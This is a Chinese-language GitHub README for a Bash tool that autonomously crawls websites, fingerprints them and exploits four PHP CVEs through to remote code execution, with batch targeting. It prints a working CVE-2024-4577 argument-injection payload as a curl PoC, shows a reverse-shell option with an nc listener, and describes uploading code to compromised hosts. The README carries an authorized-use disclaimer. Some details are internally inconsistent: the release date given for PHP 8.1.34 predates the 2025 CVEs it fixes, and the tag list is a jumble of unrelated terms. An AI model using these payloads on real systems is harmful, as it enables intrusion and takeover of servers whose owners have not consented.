gl1tch0x1/PHP_8.1.x_Exploit
GitHub: gl1tch0x1/PHP_8.1.x_Exploit
一款针对 PHP 8.1.34 之前版本四个高危 CVE 的自动化检测与利用工具,从指纹识别到远程代码执行全流程无需手动干预。
Stars: 0 | Forks: 0
# 🚀 PHP CVE Autopilot
**自动检测与利用严重的 PHP 漏洞 (CVE-2024-4577 bypass, CVE-2025-14177, CVE-2025-14180, CVE-2025-14178)**
[](https://www.gnu.org/licenses/gpl-3.0)
[](https://www.gnu.org/software/bash/)
`PHP8.1.x_Exploit.sh` 是一个**单文件、零配置**的安全评估工具,可自动发现存在漏洞的 PHP 端点,并利用影响 **PHP 8.1.34**(发布于 2024 年 12 月)**之前版本**的**四个高危 CVE**。它**无需手动构造 Payload**——只需提供一个 URL,脚本便会完成从爬取到远程代码执行 (RCE) 的所有工作。**全自动运行**——无需用户干预即可自动检测和利用漏洞。
## 功能特性
- **全自主自动运行** – 只需提供一个 URL,它就能在没有用户交互的情况下进行爬取、指纹识别、测试和利用。
- **批量扫描** – 提供目标列表并并行运行。
- **高级爬取** – 从主页提取链接和表单,以实现更好的发现效果。
- **操作系统与 PHP 版本指纹识别** – 避免在 Linux 上发起仅限 Windows 的攻击,并检查 PHP 版本。
- **CVE-2024-4577 bypass** (Windows CGI 参数注入)
- 检测并利用存在漏洞的 PHP-CGI 端点。
- 可选的**反弹 Shell** (PowerShell 单行命令)。
- 两种注入方式:标准 `-d` 和软连字符 `%AD` 绕过。
- **CVE-2025-14177** – 通过 `getimagesize()` 触发堆内存泄漏
- 动态创建畸形 JPEG 并自动将其提交到任何已发现的上传端点。
- 检测响应中泄漏的内存。
- **通过 RCE 进行深度本地扫描** (当 CVE-2024-4577 被成功利用时)
- 上传一个轻量级的 PHP 扫描器,用于测试:
- **CVE-2025-14180** – PDO PostgreSQL 中的 NULL 指针解引用。
- **CVE-2025-14178** – `array_merge` 中的整数溢出。
- **智能爬取** – 提取链接和表单以发现 CGI 脚本和上传页面。
- **并行执行** – 如果可用则使用 `parallel`,否则平滑回退。
- **详细与调试模式** – 查看每一个 HTTP 请求和决策。
- **报告生成** – 将所有发现保存到文本文件中。
- **整洁且安全** – 退出时销毁临时文件,超时机制防止挂起。
## 系统要求
| 依赖 | 用途 | 通常已安装? |
|------------|---------|---------------------|
| `bash` 4.0+ | 脚本解释器 | 是 |
| `curl` | HTTP 请求 | 是 |
| `grep`, `sed`, `awk` | 文本处理 | 是 |
| `mktemp` | 创建临时文件 | 是 |
| (可选) `parallel` | 更快的批量扫描 | 否 (但推荐) |
| (可选) `jq` | JSON 输出格式化 | 否 |
## 安装
```
git clone https://github.com/gl1tch0x1/PHP_8.1.x_Exploit.git
cd PHP_8.1.x_Exploit
chmod +x PHP8.1.x_Exploit.sh
```
## 使用方法
**单个目标(最常用)**
```
./PHP8.1.x_Exploit.sh -u http://target.example.com
```
**单个目标并反弹 Shell (CVE-2024-4577)**
```
./PHP8.1.x_Exploit.sh -u http://vulnerable-win-server.local/ --revshell 192.168.1.100 4444
```
***然后在您的机器上:***
```
nc -lvnp 4444
```
**批量扫描多个目标**
```
./PHP8.1.x_Exploit.sh -l targets.txt --threads 10
```
**示例** `targets.txt`:
```
http://192.168.1.1/
https://10.0.0.5:8080/
http://internal-app.company.com
```
**仅扫描模式(不进行利用尝试)**
```
./PHP8.1.x_Exploit.sh -u http://target.com/ --scan-only
```
**将报告保存到文件**
```
./PHP8.1.x_Exploit.sh -u http://target.com/ -o results.txt
```
**详细 / 调试输出**
```
./PHP8.1.x_Exploit.sh -u http://target.com/ --verbose
./PHP8.1.x_Exploit.sh -u http://target.com/ --debug # very noisy
```
## 工作原理(阶段)
| 阶段 | 操作 |
|-------|--------|
| 1 | 指纹识别 – 通过 HTTP 响应头和探测获取操作系统和 PHP 版本。 |
| 2 | 爬取 – 从主页提取 `href` 和 `action` 属性。 |
| 3 | CGI 发现 – 尝试常见路径和看起来像 CGI 的已爬取链接。 |
| 4 | CVE‑2024‑4577 测试 – 注入 `-d` 和 `%AD` payload;如果成功,则执行命令或发送反弹 shell。 |
| 5 | 上传端点发现 – 检查常见的上传路径以及任何包含 "upload"/"image" 的表单。 |
| 6 | CVE‑2025‑14177 测试 – 构造畸形的 JPEG,将其 POST 到每个上传端点,检测堆内存泄漏。 |
| 7 | 深度内部扫描 – 如果实现了 RCE,则上传一个扫描用的 PHP 脚本并运行,以测试 CVE‑2025‑14180 / CVE‑2025‑14178。 |
| 8 | 报告 – 打印摘要并可选择写入文件。 |
## 命令行选项(完整参考)
| 选项 | 描述 |
|--------|-------------|
| `-u URL` | 单个目标 URL (例如 `http://example.com/`) |
| `-l FILE` | 包含 URL 的批处理文件(每行一个) |
| `--scan-only` | 仅检测 – 不进行利用(无反弹 shell,不上传 payload) |
| `-o FILE` | 将最终报告写入 `FILE` |
| `--threads N` | 批量扫描的并行线程数 (默认: 5) |
| `--timeout N` | HTTP 超时时间,单位为秒 (默认: 10) |
| `--no-color` | 禁用彩色输出 |
| `--verbose` | 显示详细进度 |
| `--debug` | 显示每一个 HTTP 请求 (可能会暴露敏感数据) |
| `--revshell IP PORT` | 当发现 CVE‑2024‑4577 时尝试反弹 shell |
| `-h, --help` | 显示帮助信息并退出 |
## 涵盖的 CVE 详情
| CVE | 严重程度 | 影响 | 利用向量 | 修复版本 |
|-----|----------|--------|---------------------|-----------|
| CVE‑2024‑4577 (bypass) | 严重 | RCE | Windows CGI 参数注入 (软连字符映射) | PHP 8.1.34 |
| CVE‑2025‑14177 | 中/高 | 信息泄漏 (堆内存) | 将畸形 JPEG 传递给 `getimagesize()` | PHP 8.1.34 |
| CVE‑2025‑14180 | 高 | DoS (NULL 指针解引用) | 使用模拟预处理 (emulated prepares) 的 PDO PostgreSQL + 畸形参数 `\x99` | PHP 8.1.34 |
| CVE‑2025‑14178 | 高 (8.2) | DoS / 潜在内存破坏 | 对巨大数组使用 `array_merge()` 导致整数溢出 | PHP 8.1.34 |
## 📸 示例输出
```
[*] Scanning: http://192.168.1.100/
[*] OS: windows
[*] PHP version: 8.1.33
[*] Testing CVE-2024-4577 on http://192.168.1.100/cgi-bin/php-cgi.exe
[✓] CVE-2024-4577: VULNERABLE (soft hyphen injection)
[*] Attempting reverse shell to 192.168.1.5 4444
...
[*] Testing CVE-2025-14177 via http://192.168.1.100/upload.php
[-] CVE-2025-14177: Potential heap leak detected!
...
[*] Running deep local scan via RCE...
PHP_VERSION=8.1.33
CVE-2025-14180: VULNERABLE
CVE-2025-14178: VULNERABLE
CVE-2025-14177: VULNERABLE (leak: 486561704c65616b21...)
===================== Report for http://192.168.1.100/ =====================
OS: windows
PHP: 8.1.33
CVE-2024-4577: EXPLOITABLE at http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input
PoC: curl -X POST --data '' 'http://192.168.1.100/cgi-bin/php-cgi.exe?%ADd+allow_url_include=on+%ADd+auto_prepend_file=php://input&c=whoami'
CVE-2025-14177: VULNERABLE
CVE-2025-14180/14178: VULNERABLE (see deep scan output)
==============================================================
```
## ⚠️ 重要警告与免责声明
- **自动模式** – 该工具无需提示即可自动利用漏洞。请仅在已授权的目标上使用。
- **仅限合法用途** – 此工具旨在用于**授权的安全评估、渗透测试和教育目的**。在大多数司法管辖区,未经许可对系统使用该工具是违法的。
- **无担保** – 本软件按“原样”提供,不提供任何形式的担保。
- **潜在损害** – 利用可能会导致服务崩溃 (CVE-2025-14180) 或破坏内存 (CVE-2025-14178)。未经明确同意,请勿在生产系统上运行。
- **反弹 Shell** – `--revshell` 选项会从目标打开一个连接到您机器的 socket。请确保您拥有回连的权限。
- **日志记录** – 您的请求将出现在目标的访问/错误日志中。请负责任地使用。
## 🛠️ 故障排除
| 问题 | 解决方案 |
|---------|----------|
| `curl: command not found` | 安装 `curl` |
| `GNU parallel not found` | 可忽略 – 脚本在没有它的情况下也能工作 (批量扫描较慢) |
| 未找到 CGI 端点 | 目标可能未使用 CGI,或者被 WAF 拦截了 `-d` 标志 |
| CVE-2024-4577 成功但反弹 shell 失败 | 检查防火墙;使用 `--scan-only` 和手动 `nc` 监听器尝试更简单的 payload |
| 图片泄漏测试始终返回 "No leak" | 上传端点可能未使用 `getimagesize()`,或过滤了二进制数据 |
| 本地扫描器上传失败 | Web 根目录可能不可写;脚本会尝试写入与 CGI 脚本相同的目录中 |
## 📜 许可证
**GNU General Public License v3.0** – 详见 [LICENSE](LICENSE) 文件。
## 📚 参考
- [PHP 8.1.34 发布公告](https://www.php.net/ChangeLog-8.php#8.1.34)
- [CVE-2024-4577 详情 (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2024-4577)
- [CVE-2025-14177 / 14178 / 14180 (NVD)](https://nvd.nist.gov/)
- [Windows 最佳适配字符映射](https://docs.microsoft.com/en-us/windows/win32/intl/code-page-identification)
**用 🧠 为安全社区打造。请道德使用。**
标签:C2日志可视化, CGI参数注入, CISA项目, CodeQL, CVE-2024-4577, CVE-2025-14177, CVE-2025-14178, CVE-2025-14180, Maven, PHP-CGI, PHP漏洞, PoC, RCE, Web安全, XXE攻击, 加密, 反向Shell, 堆内存泄漏, 安全评估工具, 应用安全, 指纹识别, 整数溢出, 无线安全, 暴力破解, 漏洞扫描器, 漏洞验证, 空指针解引用, 编程工具, 网站爬虫, 自动化渗透测试, 蓝队分析, 远程代码执行, 零配置